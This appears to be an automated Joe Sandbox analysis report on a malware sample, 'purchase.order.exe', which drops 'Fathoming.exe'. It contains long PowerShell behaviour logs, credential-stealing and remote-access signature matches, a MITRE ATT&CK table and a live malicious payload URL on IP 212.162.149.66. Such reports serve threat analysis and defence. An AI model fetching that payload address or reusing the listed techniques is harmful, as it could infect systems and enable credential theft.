Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.SecureBoot.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.SecureBoot.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-UEV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\UEV\Microsoft.Uev.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\WindowsErrorReporting\Microsoft.WindowsErrorReporting.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\purchase.order.exe

0_2_0040351C

Stealing of Sensitive Information

Source: Yara match

File source: 00000008.00000002.3003104703.0000000021750000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Source: Yara match

File source: 00000008.00000002.3003104703.0000000021750000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 Access Token Manipulation	1 Masquerading	OS Credential Dumping	211 Security Software Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	411 Process Injection	21 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	1 Clipboard Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Shared Modules	Logon Script (Windows)	1 DLL Side-Loading	1 Access Token Manipulation	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	411 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	11 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	114 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
purchase.order.exe	18%	ReversingLabs
purchase.order.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\Fathoming.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\Fathoming.exe	18%	ReversingLabs

Source	Detection	Scanner	Label
http://212.162.149.66/JiYpNWaslXZHcEPiPEuXaEONVju173.bin)	0%	Avira URL Cloud	safe
http://212.162.149.66/JiYpNWaslXZHcEPiPEuXaEONVju173.bin	100%	Avira URL Cloud	malware
http://www.ftp.ftp://ftp.gopher.	0%	Avira URL Cloud	safe

Name	Malicious	Antivirus Detection	Reputation
http://212.162.149.66/JiYpNWaslXZHcEPiPEuXaEONVju173.bin	false	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000002.00000002.2640675750.00000000056FA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/winsvr-2022-pshelp	powershell.exe, 00000002.00000002.2635924027.00000000047E6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.micro	powershell.exe, 00000002.00000002.2642154478.0000000006D30000.00000004.00000020.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000002.00000002.2635924027.00000000047E6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000002.00000002.2635924027.00000000047E6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pscore6lB	powershell.exe, 00000002.00000002.2635924027.0000000004691000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000002.00000002.2635924027.00000000047E6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://212.162.149.66/JiYpNWaslXZHcEPiPEuXaEONVju173.bin)	Fathoming.exe, 00000008.00000003.2948566344.0000000006074000.00000004.00000020.00020000.00000000.sdmp, Fathoming.exe, 00000008.00000002.2990340347.0000000006074000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000002.00000002.2635924027.00000000047E6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000002.00000002.2640675750.00000000056FA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000002.00000002.2640675750.00000000056FA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.microsoft.co	powershell.exe, 00000002.00000002.2659979907.0000000007FB1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000002.00000002.2640675750.00000000056FA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://inference.location.live.net/inferenceservice/v21/Pox/GetLocationUsingFingerprinte1e71f6b-214	Fathoming.exe, 00000008.00000001.2634328623.0000000000649000.00000020.00000001.01000000.00000008.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000002.00000002.2640675750.00000000056FA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.ftp.ftp://ftp.gopher.	Fathoming.exe, 00000008.00000001.2634328623.0000000000649000.00000020.00000001.01000000.00000008.sdmp	false	Avira URL Cloud: safe	unknown
http://nsis.sf.net/NSIS_ErrorError	purchase.order.exe, 00000000.00000000.1421338279.000000000040A000.00000008.00000001.01000000.00000003.sdmp, purchase.order.exe, 00000000.00000002.1473857959.000000000040A000.00000004.00000001.01000000.00000003.sdmp, Fathoming.exe, 00000008.00000000.2633837075.000000000040A000.00000008.00000001.01000000.00000007.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000002.00000002.2635924027.0000000004691000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000002.00000002.2635924027.00000000047E6000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
212.162.149.66	unknown	Netherlands		64236	UNREAL-SERVERSUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1572377
Start date and time:	2024-12-10 14:06:24 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 47s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
